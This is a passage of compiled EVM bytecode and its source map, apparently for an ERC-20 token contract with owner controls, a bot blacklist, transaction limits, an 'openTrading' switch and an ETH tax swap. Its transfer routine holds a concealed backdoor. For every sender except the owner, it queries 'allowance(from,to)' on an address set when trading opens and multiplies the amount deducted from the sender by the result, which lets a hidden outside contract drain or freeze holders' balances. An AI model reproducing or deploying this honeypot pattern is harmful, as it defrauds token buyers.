10430366004611520565b6001600160a01b039182165f90815260026020908152604080832093909416825291909152205490565b5f61046633848461080d565b5060015b92915050565b5f61047d6009600a61164b565b61048b906334fb5e38611659565b905090565b5f61049c848484610930565b6104ed84336104e8856040518060600160405280602881526020016117b8602891396001600160a01b038a165f9081526002602090815260408083203384529091529020549190610fd3565b61080d565b5060019392505050565b5f546001600160a01b031633146105295760405162461bcd60e51b815260040161052090611670565b60405180910390fd5b5f5b815181101561058d575f60045f84848151811061054a5761054a6116a5565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905580610585816116b9565b91505061052b565b5050565b5f546001600160a01b031633146105ba5760405162461bcd60e51b815260040161052090611670565b5f80546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a35f80546001600160a01b0319169055565b5f546001600160a01b0316331461062b5760405162461bcd60e51b815260040161052090611670565b6106376009600a61164b565b610645906334fb5e38611659565b6010556106546009600a61164b565b610662906334fb5e38611659565b6011557f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6106926009600a61164b565b6106a0906334fb5e38611659565b60405190815260200160405180910390a1565b5f610466338484610930565b5f546001600160a01b031633146106e85760405162461bcd60e51b815260040161052090611670565b601554600160a01b900460ff16156107425760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e0000000000000000006044820152606401610520565b600680546001600160a01b0319166001600160a01b03929092169190911790556015805462ff00ff60a01b19166201000160a01b17905543600755565b5f546001600160a01b031633146107a85760405162461bcd60e51b815260040161052090611670565b5f5b815181101561058d57600160045f8484815181106107ca576107ca6116a5565b6020908102919091018101516001600160a01b031682528101919091526040015f20805460ff191691151591909117905580610805816116b9565b9150506107aa565b6001600160a01b03831661086f5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610520565b6001600160a01b0382166108d05760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610520565b6001600160a01b038381165f8181526002602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166109945760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610520565b6001600160a01b0382166109f65760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610520565b5f8111610a575760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610520565b5f80546001600160a01b03858116911614801590610a8257505f546001600160a01b03848116911614155b15610df9576001600160a01b0384165f9081526004602052604090205460ff16158015610ac757506001600160a01b0383165f9081526004602052604090205460ff16155b610acf575f80fd5b610afb6064610af5600c54600f5411610aea57600854610aee565b600a545b859061100b565b90611090565b6015549091506001600160a01b038581169116148015610b2957506014546001600160a01b03848116911614155b8015610b4d57506001600160a01b0383165f9081526003602052604090205460ff16155b15610c5457601054821115610ba45760405162461bcd60e51b815260206004820152601960248201527f4578636565647320746865205f6d61785478416d6f756e742e000000000000006044820152606401610520565b60115482610bc6856001600160a01b03165f9081526001602052604090205490565b610bd091906116d1565b1115610c1e5760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610520565b436007546003610c2e91906116d1565b1115610c3f57823b15610c3f575f80fd5b600f8054905f610c4e836116b9565b91905055505b6015546001600160a01b03848116911614801590610c8a57506001600160a01b0383165f9081526003602052604090205460ff16155b15610d095760115482610cb1856001600160a01b03165f9081526001602052604090205490565b610cbb91906116d1565b1115610d095760405162461bcd60e51b815260206004820152601a60248201527f4578636565647320746865206d617857616c6c657453697a652e0000000000006044820152606401610520565b6015546001600160a01b038481169116148015610d2f57506001600160a01b0384163014155b15610d5c57610d596064610af5600d54600f5411610d4f57600954610aee565b600b54859061100b565b90505b305f90815260016020526040902054601554600160a81b900460ff16158015610d9257506015546001600160a01b038581169116145b8015610da75750601554600160b01b900460ff165b8015610db4575060125481115b8015610dc35750600e54600f54115b15610df757610de5610de084610ddb846013546110d1565b6110d1565b6110e5565b478015610df557610df547611255565b505b505b8015610e7157305f90815260016020526040902054610e18908261128c565b305f81815260016020526040908190209290925590516001600160a01b038616907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef90610e689085815260200190565b60405180910390a35b5f80546001600160a01b03868116911614610eff57600654604051636eb1769f60e11b81526001600160a01b03878116600483015286811660248301529091169063dd62ed3e90604401602060405180830381865afa158015610ed6573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610efa91906116e4565b610f02565b60015b9050610f2f610f118285611659565b6001600160a01b0387165f90815260016020526040902054906112ea565b6001600160a01b0386165f90815260016020526040902055610f72610f5484846112ea565b6001600160a01b0386165f908152600160205260409020549061128c565b6001600160a01b038086165f8181526001602052604090209290925586167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef610fbb86866112ea565b60405190815260200160405180910390a35050505050565b5f8184841115610ff65760405162461bcd60e51b81526004016105209190611357565b505f61100284866116fb565b95945050505050565b5f825f0361101a57505f61046a565b5f6110258385611659565b905082611032858361170e565b146110895760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610520565b9392505050565b5f61108983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061132b565b5f8183116110df5782611089565b50919050565b6015805460ff60a81b1916600160a81b1790556040805160028082526060820183525f9260208301908036833701905050905030815f8151811061112b5761112b6116a5565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015611182573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906111a6919061172d565b816001815181106111b9576111b96116a5565b6001600160a01b0392831660209182029290920101526014546111df913091168461080d565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac947906112179085905f90869030904290600401611748565b5f604051808303815f87803b15801561122e575f80fd5b505af1158015611240573d5f803e3d5ffd5b50506015805460ff60a81b1916905550505050565b6005546040516001600160a01b039091169082156108fc029083905f818181858888f1935050505015801561058d573d5f803e3d5ffd5b5f8061129883856116d1565b9050838110156110895760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610520565b5f61108983836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fd3565b5f818361134b5760405162461bcd60e51b81526004016105209190611357565b505f611002848661170e565b5f6020808352835180828501525f5b8181101561138257858101830151858201604001528201611366565b505f604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b03811681146113b6575f80fd5b50565b80356113c4816113a2565b919050565b5f80604083850312156113da575f80fd5b82356113e5816113a2565b946020939093013593505050565b5f805f60608486031215611405575f80fd5b8335611410816113a2565b92506020840135611420816113a2565b929592945050506040919091013590565b634e487b7160e01b5f52604160045260245ffd5b5f6020808385031215611456575f80fd5b823567ffffffffffffffff8082111561146d575f80fd5b818501915085601f830112611480575f80fd5b81358181111561149257611492611431565b8060051b604051601f19603f830116810181811085821117156114b7576114b7611431565b6040529182528482019250838101850191888311156114d4575f80fd5b938501935b828510156114f9576114ea856113b9565b845293850193928501926114d9565b98975050505050505050565b5f60208284031215611515575f80fd5b8135611089816113a2565b5f8060408385031215611531575f80fd5b823561153c816113a2565b9150602083013561154c816113a2565b809150509250929050565b634e487b7160e01b5f52601160045260245ffd5b600181815b808511156115a557815f190482111561158b5761158b611557565b8085161561159857918102915b93841c9390800290611570565b509250929050565b5f826115bb5750600161046a565b816115c757505f61046a565b81600181146115dd57600281146115e757611603565b600191505061046a565b60ff8411156115f8576115f8611557565b50506001821b61046a565b5060208310610133831016604e8410600b8410161715611626575081810a61046a565b611630838361156b565b805f190482111561164357611643611557565b029392505050565b5f61108960ff8416836115ad565b808202811582820484141761046a5761046a611557565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b5f52603260045260245ffd5b5f600182016116ca576116ca611557565b5060010190565b8082018082111561046a5761046a611557565b5f602082840312156116f4575f80fd5b5051919050565b8181038181111561046a5761046a611557565b5f8261172857634e487b7160e01b5f52601260045260245ffd5b500490565b5f6020828403121561173d575f80fd5b8151611089816113a2565b5f60a082018783526020878185015260a0604085015281875180845260c08601915082890193505f5b818110156117965784516001600160a01b031683529383019391830191600101611771565b50506001600160a01b0396909616606085015250505060800152939250505056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212206dbfaa862491693d5303e8b5d47b49443163dfd4df2f50345a480b7ba56b373a64736f6c63430008140033

3580:7943:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5754:83;;;;;;;;;;-1:-1:-1;5824:5:0;;;;;;;;;;;;-1:-1:-1;;;5824:5:0;;;;5754:83;;;;;;;:::i;:::-;;;;;;;;6587:161;;;;;;;;;;-1:-1:-1;6587:161:0;;;;;:::i;:::-;;:::i;:::-;;;1327:14:1;;1320:22;1302:41;;1290:2;1275:18;6587:161:0;1162:187:1;4737:53:0;;;;;;;;;;;;;;;;;;;1500:25:1;;;1488:2;1473:18;4737:53:0;1354:177:1;4799:41:0;;;;;;;;;;-1:-1:-1;4799:41:0;;;;-1:-1:-1;;;;;4799:41:0;;;;;;-1:-1:-1;;;;;1726:32:1;;;1708:51;;1696:2;1681:18;4799:41:0;1536:229:1;6031:95:0;;;;;;;;;;;;;:::i;6756:313::-;;;;;;;;;;-1:-1:-1;6756:313:0;;;;;:::i;:::-;;:::i;5940:83::-;;;;;;;;;;-1:-1:-1;5940:83:0;;4347:1;2373:36:1;;2361:2;2346:18;5940:83:0;2231:184:1;10977:162:0;;;;;;;;;;-1:-1:-1;10977:162:0;;;;;:::i;:::-;;:::i;:::-;;11147:83;;;;;;;;;;-1:-1:-1;11147:83:0;;;;;:::i;:::-;-1:-1:-1;;;;;11215:7:0;11194:4;11215:7;;;:4;:7;;;;;;;;;11147:83;4847:28;;;;;;;;;;-1:-1:-1;4847:28:0;;;;-1:-1:-1;;;;;4847:28:0;;;6134:119;;;;;;;;;;-1:-1:-1;6134:119:0;;;;;:::i;:::-;-1:-1:-1;;;;;6227:18:0;6200:7;6227:18;;;:9;:18;;;;;;;6134:119;2661:148;;;;;;;;;;;;;:::i;10538:159::-;;;;;;;;;;;;;:::i;4541:58::-;;;;;;;;;;;;;;;;2447:79;;;;;;;;;;-1:-1:-1;2485:7:0;2512:6;-1:-1:-1;;;;;2512:6:0;2447:79;;4606:58;;;;;;;;;;;;;;;;5845:87;;;;;;;;;;-1:-1:-1;5917:7:0;;;;;;;;;;;;-1:-1:-1;;;5917:7:0;;;;5845:87;;6261:167;;;;;;;;;;-1:-1:-1;6261:167:0;;;;;:::i;:::-;;:::i;4671:59::-;;;;;;;;;;;;;;;;11238:243;;;;;;;;;;-1:-1:-1;11238:243:0;;;;;:::i;:::-;;:::i;10805:164::-;;;;;;;;;;-1:-1:-1;10805:164:0;;;;;:::i;:::-;;:::i;6436:143::-;;;;;;;;;;-1:-1:-1;6436:143:0;;;;;:::i;:::-;-1:-1:-1;;;;;6544:18:0;;;6517:7;6544:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;6436:143;6587:161;6662:4;6679:39;281:10;6702:7;6711:6;6679:8;:39::i;:::-;-1:-1:-1;6736:4:0;6587:161;;;;;:::o;6031:95::-;6084:7;4404:13;4347:1;4404:2;:13;:::i;:::-;4390:27;;:11;:27;:::i;:::-;6104:14;;6031:95;:::o;6756:313::-;6854:4;6871:36;6881:6;6889:9;6900:6;6871:9;:36::i;:::-;6918:121;6927:6;281:10;6949:89;6987:6;6949:89;;;;;;;;;;;;;;;;;-1:-1:-1;;;;;6949:19:0;;;;;;:11;:19;;;;;;;;281:10;6949:33;;;;;;;;;;:37;:89::i;:::-;6918:8;:121::i;:::-;-1:-1:-1;7057:4:0;6756:313;;;;;:::o;10977:162::-;2574:6;;-1:-1:-1;;;;;2574:6:0;281:10;2574:22;2566:67;;;;-1:-1:-1;;;2566:67:0;;;;;;;:::i;:::-;;;;;;;;;11050:6:::1;11045:87;11066:6;:13;11062:1;:17;11045:87;;;11117:5;11099:4;:15;11104:6;11111:1;11104:9;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;11099:15:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;11099:15:0;:23;;-1:-1:-1;;11099:23:0::1;::::0;::::1;;::::0;;;::::1;::::0;;11081:3;::::1;::::0;::::1;:::i;:::-;;;;11045:87;;;;10977:162:::0;:::o;2661:148::-;2574:6;;-1:-1:-1;;;;;2574:6:0;281:10;2574:22;2566:67;;;;-1:-1:-1;;;2566:67:0;;;;;;;:::i;:::-;2768:1:::1;2752:6:::0;;2731:40:::1;::::0;-1:-1:-1;;;;;2752:6:0;;::::1;::::0;2731:40:::1;::::0;2768:1;;2731:40:::1;2799:1;2782:19:::0;;-1:-1:-1;;;;;;2782:19:0::1;::::0;;2661:148::o;10538:159::-;2574:6;;-1:-1:-1;;;;;2574:6:0;281:10;2574:22;2566:67;;;;-1:-1:-1;;;2566:67:0;;;;;;;:::i;:::-;4404:13:::1;4347:1;4404:2;:13;:::i;:::-;4390:27;::::0;:11:::1;:27;:::i;:::-;10591:12;:22:::0;4404:13:::1;4347:1;4404:2;:13;:::i;:::-;4390:27;::::0;:11:::1;:27;:::i;:::-;10624:14;:22:::0;10662:27:::1;4404:13;4347:1;4404:2;:13;:::i;:::-;4390:27;::::0;:11:::1;:27;:::i;:::-;10662;::::0;1500:25:1;;;1488:2;1473:18;10662:27:0::1;;;;;;;10538:159::o:0;6261:167::-;6339:4;6356:42;281:10;6380:9;6391:6;6356:9;:42::i;11238:243::-;2574:6;;-1:-1:-1;;;;;2574:6:0;281:10;2574:22;2566:67;;;;-1:-1:-1;;;2566:67:0;;;;;;;:::i;:::-;11316:11:::1;::::0;-1:-1:-1;;;11316:11:0;::::1;;;11315:12;11307:47;;;::::0;-1:-1:-1;;;11307:47:0;;7054:2:1;11307:47:0::1;::::0;::::1;7036:21:1::0;7093:2;7073:18;;;7066:30;7132:25;7112:18;;;7105:53;7175:18;;11307:47:0::1;6852:347:1::0;11307:47:0::1;11365:5;:14:::0;;-1:-1:-1;;;;;;11365:14:0::1;-1:-1:-1::0;;;;;11365:14:0;;;::::1;::::0;;;::::1;::::0;;11390:11:::1;:18:::0;;-1:-1:-1;;;;11419:18:0;-1:-1:-1;;;11419:18:0;;;11461:12:::1;11448:10;:25:::0;11238:243::o;10805:164::-;2574:6;;-1:-1:-1;;;;;2574:6:0;281:10;2574:22;2566:67;;;;-1:-1:-1;;;2566:67:0;;;;;;;:::i;:::-;10879:6:::1;10874:88;10895:5;:12;10891:1;:16;10874:88;;;10946:4;10929;:14;10934:5;10940:1;10934:8;;;;;;;;:::i;:::-;;::::0;;::::1;::::0;;;;;;;-1:-1:-1;;;;;10929:14:0::1;::::0;;;::::1;::::0;;;;;;-1:-1:-1;10929:14:0;:21;;-1:-1:-1;;10929:21:0::1;::::0;::::1;;::::0;;;::::1;::::0;;10909:3;::::1;::::0;::::1;:::i;:::-;;;;10874:88;;7077:335:::0;-1:-1:-1;;;;;7170:19:0;;7162:68;;;;-1:-1:-1;;;7162:68:0;;7406:2:1;7162:68:0;;;7388:21:1;7445:2;7425:18;;;7418:30;7484:34;7464:18;;;7457:62;-1:-1:-1;;;7535:18:1;;;7528:34;7579:19;;7162:68:0;7204:400:1;7162:68:0;-1:-1:-1;;;;;7249:21:0;;7241:68;;;;-1:-1:-1;;;7241:68:0;;7811:2:1;7241:68:0;;;7793:21:1;7850:2;7830:18;;;7823:30;7889:34;7869:18;;;7862:62;-1:-1:-1;;;7940:18:1;;;7933:32;7982:19;;7241:68:0;7609:398:1;7241:68:0;-1:-1:-1;;;;;7320:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;7372:32;;1500:25:1;;;7372:32:0;;1473:18:1;7372:32:0;;;;;;;7077:335;;;:::o;7420:2308::-;-1:-1:-1;;;;;7508:18:0;;7500:68;;;;-1:-1:-1;;;7500:68:0;;8214:2:1;7500:68:0;;;8196:21:1;8253:2;8233:18;;;8226:30;8292:34;8272:18;;;8265:62;-1:-1:-1;;;8343:18:1;;;8336:35;8388:19;;7500:68:0;8012:401:1;7500:68:0;-1:-1:-1;;;;;7587:16:0;;7579:64;;;;-1:-1:-1;;;7579:64:0;;8620:2:1;7579:64:0;;;8602:21:1;8659:2;8639:18;;;8632:30;8698:34;8678:18;;;8671:62;-1:-1:-1;;;8749:18:1;;;8742:33;8792:19;;7579:64:0;8418:399:1;7579:64:0;7671:1;7662:6;:10;7654:64;;;;-1:-1:-1;;;7654:64:0;;9024:2:1;7654:64:0;;;9006:21:1;9063:2;9043:18;;;9036:30;9102:34;9082:18;;;9075:62;-1:-1:-1;;;9153:18:1;;;9146:39;9202:19;;7654:64:0;8822:405:1;7654:64:0;7729:17;2512:6;;-1:-1:-1;;;;;7763:15:0;;;2512:6;;7763:15;;;;:32;;-1:-1:-1;2485:7:0;2512:6;-1:-1:-1;;;;;7782:13:0;;;2512:6;;7782:13;;7763:32;7759:1533;;;-1:-1:-1;;;;;7821:10:0;;;;;;:4;:10;;;;;;;;7820:11;:24;;;;-1:-1:-1;;;;;;7836:8:0;;;;;;:4;:8;;;;;;;;7835:9;7820:24;7812:33;;;;;;7872:76;7944:3;7872:67;7894:15;;7884:9;;:25;7883:55;;7924:14;;7883:55;;;7911:12;;7883:55;7872:6;;:10;:67::i;:::-;:71;;:76::i;:::-;7977:13;;7860:88;;-1:-1:-1;;;;;;7969:21:0;;;7977:13;;7969:21;:55;;;;-1:-1:-1;8008:15:0;;-1:-1:-1;;;;;7994:30:0;;;8008:15;;7994:30;;7969:55;:83;;;;-1:-1:-1;;;;;;8030:22:0;;;;;;:18;:22;;;;;;;;8028:24;7969:83;7965:436;;;8092:12;;8082:6;:22;;8074:60;;;;-1:-1:-1;;;8074:60:0;;9434:2:1;8074:60:0;;;9416:21:1;9473:2;9453:18;;;9446:30;9512:27;9492:18;;;9485:55;9557:18;;8074:60:0;9232:349:1;8074:60:0;8187:14;;8177:6;8161:13;8171:2;-1:-1:-1;;;;;6227:18:0;6200:7;6227:18;;;:9;:18;;;;;;;6134:119;8161:13;:22;;;;:::i;:::-;:40;;8153:79;;;;-1:-1:-1;;;8153:79:0;;9918:2:1;8153:79:0;;;9900:21:1;9957:2;9937:18;;;9930:30;9996:28;9976:18;;;9969:56;10042:18;;8153:79:0;9716:350:1;8153:79:0;8275:12;8257:10;;8270:1;8257:14;;;;:::i;:::-;:30;8253:103;;;9975:20;;10023:8;8312:24;;;;;;8374:9;:11;;;:9;:11;;;:::i;:::-;;;;;;7965:436;8427:13;;-1:-1:-1;;;;;8421:19:0;;;8427:13;;8421:19;;;;:47;;-1:-1:-1;;;;;;8446:22:0;;;;;;:18;:22;;;;;;;;8444:24;8421:47;8417:167;;;8523:14;;8513:6;8497:13;8507:2;-1:-1:-1;;;;;6227:18:0;6200:7;6227:18;;;:9;:18;;;;;;;6134:119;8497:13;:22;;;;:::i;:::-;:40;;8489:79;;;;-1:-1:-1;;;8489:79:0;;9918:2:1;8489:79:0;;;9900:21:1;9957:2;9937:18;;;9930:30;9996:28;9976:18;;;9969:56;10042:18;;8489:79:0;9716:350:1;8489:79:0;8609:13;;-1:-1:-1;;;;;8603:19:0;;;8609:13;;8603:19;:43;;;;-1:-1:-1;;;;;;8626:20:0;;8641:4;8626:20;;8603:43;8600:174;;;8679:79;8754:3;8679:70;8701:16;;8691:9;;:26;8690:58;;8733:15;;8690:58;;;8719:13;;8679:6;;:10;:70::i;:79::-;8667:91;;8600:174;8839:4;8790:28;6227:18;;;:9;:18;;;;;;8865:6;;-1:-1:-1;;;8865:6:0;;;;8864:7;:32;;;;-1:-1:-1;8883:13:0;;-1:-1:-1;;;;;8875:21:0;;;8883:13;;8875:21;8864:32;:47;;;;-1:-1:-1;8900:11:0;;-1:-1:-1;;;8900:11:0;;;;8864:47;:89;;;;;8936:17;;8915:20;:38;8864:89;:121;;;;;8967:18;;8957:9;;:28;8864:121;8860:421;;;9006:67;9023:49;9027:6;9034:37;9038:20;9059:11;;9034:3;:37::i;:::-;9023:3;:49::i;:::-;9006:16;:67::i;:::-;9121:21;9164:22;;9161:105;;9211:35;9224:21;9211:12;:35::i;:::-;8987:294;8860:421;7797:1495;7759:1533;9307:11;;9304:161;;9375:4;9357:24;;;;:9;:24;;;;;;:39;;9386:9;9357:28;:39::i;:::-;9350:4;9332:24;;;;:9;:24;;;;;;;:64;;;;9414:39;;-1:-1:-1;;;;;9414:39:0;;;;;;;9443:9;1500:25:1;;1488:2;1473:18;;1354:177;9414:39:0;;;;;;;;9304:161;9475:12;2512:6;;-1:-1:-1;;;;;9490:13:0;;;2512:6;;9490:13;:49;;9513:5;;9506:33;;-1:-1:-1;;;9506:33:0;;-1:-1:-1;;;;;10301:15:1;;;9506:33:0;;;10283:34:1;10353:15;;;10333:18;;;10326:43;9513:5:0;;;;9506:23;;10218:18:1;;9506:33:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;9490:49;;;9504:1;9490:49;9475:64;-1:-1:-1;9566:32:0;9586:11;9475:64;9586:6;:11;:::i;:::-;-1:-1:-1;;;;;9566:15:0;;;;;;:9;:15;;;;;;;:19;:32::i;:::-;-1:-1:-1;;;;;9550:15:0;;;;;;:9;:15;;;;;:48;9623:40;9641:21;:6;9652:9;9641:10;:21::i;:::-;-1:-1:-1;;;;;9623:13:0;;;;;;:9;:13;;;;;;;:17;:40::i;:::-;-1:-1:-1;;;;;9609:13:0;;;;;;;:9;:13;;;;;:54;;;;9679:41;;;9698:21;:6;9709:9;9698:10;:21::i;:::-;9679:41;;1500:25:1;;;1488:2;1473:18;9679:41:0;;;;;;;7489:2239;;7420:2308;;;:::o;1339:190::-;1425:7;1461:12;1453:6;;;;1445:29;;;;-1:-1:-1;;;1445:29:0;;;;;;;;:::i;:::-;-1:-1:-1;1485:9:0;1497:5;1501:1;1497;:5;:::i;:::-;1485:17;1339:190;-1:-1:-1;;;;;1339:190:0:o;1537:246::-;1595:7;1619:1;1624;1619:6;1615:47;;-1:-1:-1;1649:1:0;1642:8;;1615:47;1672:9;1684:5;1688:1;1684;:5;:::i;:::-;1672:17;-1:-1:-1;1717:1:0;1708:5;1712:1;1672:17;1708:5;:::i;:::-;:10;1700:56;;;;-1:-1:-1;;;1700:56:0;;11126:2:1;1700:56:0;;;11108:21:1;11165:2;11145:18;;;11138:30;11204:34;11184:18;;;11177:62;-1:-1:-1;;;11255:18:1;;;11248:31;11296:19;;1700:56:0;10924:397:1;1700:56:0;1774:1;1537:246;-1:-1:-1;;;1537:246:0:o;1791:132::-;1849:7;1876:39;1880:1;1883;1876:39;;;;;;;;;;;;;;;;;:3;:39::i;9738:98::-;9795:7;9822:1;9820;:3;9819:9;;9827:1;9819:9;;;-1:-1:-1;9825:1:0;9738:98;-1:-1:-1;9738:98:0:o;10047:483::-;5070:6;:13;;-1:-1:-1;;;;5070:13:0;-1:-1:-1;;;5070:13:0;;;10149:16:::1;::::0;;10163:1:::1;10149:16:::0;;;;;::::1;::::0;;-1:-1:-1;;10149:16:0::1;::::0;::::1;::::0;;::::1;::::0;::::1;;::::0;-1:-1:-1;10149:16:0::1;10125:40;;10194:4;10176;10181:1;10176:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10176:23:0;;::::1;:7;::::0;;::::1;::::0;;;;;;:23;;;;10220:15:::1;::::0;:22:::1;::::0;;-1:-1:-1;;;10220:22:0;;;;:15;;;::::1;::::0;:20:::1;::::0;:22:::1;::::0;;::::1;::::0;10176:7;;10220:22;;;;;:15;:22:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10210:4;10215:1;10210:7;;;;;;;;:::i;:::-;-1:-1:-1::0;;;;;10210:32:0;;::::1;:7;::::0;;::::1;::::0;;;;;:32;10285:15:::1;::::0;10253:62:::1;::::0;10270:4:::1;::::0;10285:15:::1;10303:11:::0;10253:8:::1;:62::i;:::-;10326:15;::::0;:196:::1;::::0;-1:-1:-1;;;10326:196:0;;-1:-1:-1;;;;;10326:15:0;;::::1;::::0;:66:::1;::::0;:196:::1;::::0;10407:11;;10326:15:::1;::::0;10449:4;;10476::::1;::::0;10496:15:::1;::::0;10326:196:::1;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;5106:6:0;:14;;-1:-1:-1;;;;5106:14:0;;;-1:-1:-1;;;;10047:483:0:o;10705:92::-;10762:10;;:27;;-1:-1:-1;;;;;10762:10:0;;;;:27;;;;;10782:6;;10762:10;:27;:10;:27;10782:6;10762:10;:27;;;;;;;;;;;;;;;;;;;1008:179;1066:7;;1098:5;1102:1;1098;:5;:::i;:::-;1086:17;;1127:1;1122;:6;;1114:46;;;;-1:-1:-1;;;1114:46:0;;12769:2:1;1114:46:0;;;12751:21:1;12808:2;12788:18;;;12781:30;12847:29;12827:18;;;12820:57;12894:18;;1114:46:0;12567:351:1;1195:136:0;1253:7;1280:43;1284:1;1287;1280:43;;;;;;;;;;;;;;;;;:3;:43::i;1931:189::-;2017:7;2052:12;2045:5;2037:28;;;;-1:-1:-1;;;2037:28:0;;;;;;;;:::i;:::-;-1:-1:-1;2076:9:0;2088:5;2092:1;2088;:5;:::i;14:548:1:-;126:4;155:2;184;173:9;166:21;216:6;210:13;259:6;254:2;243:9;239:18;232:34;284:1;294:140;308:6;305:1;302:13;294:140;;;403:14;;;399:23;;393:30;369:17;;;388:2;365:26;358:66;323:10;;294:140;;;298:3;483:1;478:2;469:6;458:9;454:22;450:31;443:42;553:2;546;542:7;537:2;529:6;525:15;521:29;510:9;506:45;502:54;494:62;;;;14:548;;;;:::o;567:131::-;-1:-1:-1;;;;;642:31:1;;632:42;;622:70;;688:1;685;678:12;622:70;567:131;:::o;703:134::-;771:20;;800:31;771:20;800:31;:::i;:::-;703:134;;;:::o;842:315::-;910:6;918;971:2;959:9;950:7;946:23;942:32;939:52;;;987:1;984;977:12;939:52;1026:9;1013:23;1045:31;1070:5;1045:31;:::i;:::-;1095:5;1147:2;1132:18;;;;1119:32;;-1:-1:-1;;;842:315:1:o;1770:456::-;1847:6;1855;1863;1916:2;1904:9;1895:7;1891:23;1887:32;1884:52;;;1932:1;1929;1922:12;1884:52;1971:9;1958:23;1990:31;2015:5;1990:31;:::i;:::-;2040:5;-1:-1:-1;2097:2:1;2082:18;;2069:32;2110:33;2069:32;2110:33;:::i;:::-;1770:456;;2162:7;;-1:-1:-1;;;2216:2:1;2201:18;;;;2188:32;;1770:456::o;2420:127::-;2481:10;2476:3;2472:20;2469:1;2462:31;2512:4;2509:1;2502:15;2536:4;2533:1;2526:15;2552:1121;2636:6;2667:2;2710;2698:9;2689:7;2685:23;2681:32;2678:52;;;2726:1;2723;2716:12;2678:52;2766:9;2753:23;2795:18;2836:2;2828:6;2825:14;2822:34;;;2852:1;2849;2842:12;2822:34;2890:6;2879:9;2875:22;2865:32;;2935:7;2928:4;2924:2;2920:13;2916:27;2906:55;;2957:1;2954;2947:12;2906:55;2993:2;2980:16;3015:2;3011;3008:10;3005:36;;;3021:18;;:::i;:::-;3067:2;3064:1;3060:10;3099:2;3093:9;3162:2;3158:7;3153:2;3149;3145:11;3141:25;3133:6;3129:38;3217:6;3205:10;3202:22;3197:2;3185:10;3182:18;3179:46;3176:72;;;3228:18;;:::i;:::-;3264:2;3257:22;3314:18;;;3348:15;;;;-1:-1:-1;3390:11:1;;;3386:20;;;3418:19;;;3415:39;;;3450:1;3447;3440:12;3415:39;3474:11;;;;3494:148;3510:6;3505:3;3502:15;3494:148;;;3576:23;3595:3;3576:23;:::i;:::-;3564:36;;3527:12;;;;3620;;;;3494:148;;;3661:6;2552:1121;-1:-1:-1;;;;;;;;2552:1121:1:o;3678:247::-;3737:6;3790:2;3778:9;3769:7;3765:23;3761:32;3758:52;;;3806:1;3803;3796:12;3758:52;3845:9;3832:23;3864:31;3889:5;3864:31;:::i;4138:388::-;4206:6;4214;4267:2;4255:9;4246:7;4242:23;4238:32;4235:52;;;4283:1;4280;4273:12;4235:52;4322:9;4309:23;4341:31;4366:5;4341:31;:::i;:::-;4391:5;-1:-1:-1;4448:2:1;4433:18;;4420:32;4461:33;4420:32;4461:33;:::i;:::-;4513:7;4503:17;;;4138:388;;;;;:::o;4531:127::-;4592:10;4587:3;4583:20;4580:1;4573:31;4623:4;4620:1;4613:15;4647:4;4644:1;4637:15;4663:422;4752:1;4795:5;4752:1;4809:270;4830:7;4820:8;4817:21;4809:270;;;4889:4;4885:1;4881:6;4877:17;4871:4;4868:27;4865:53;;;4898:18;;:::i;:::-;4948:7;4938:8;4934:22;4931:55;;;4968:16;;;;4931:55;5047:22;;;;5007:15;;;;4809:270;;;4813: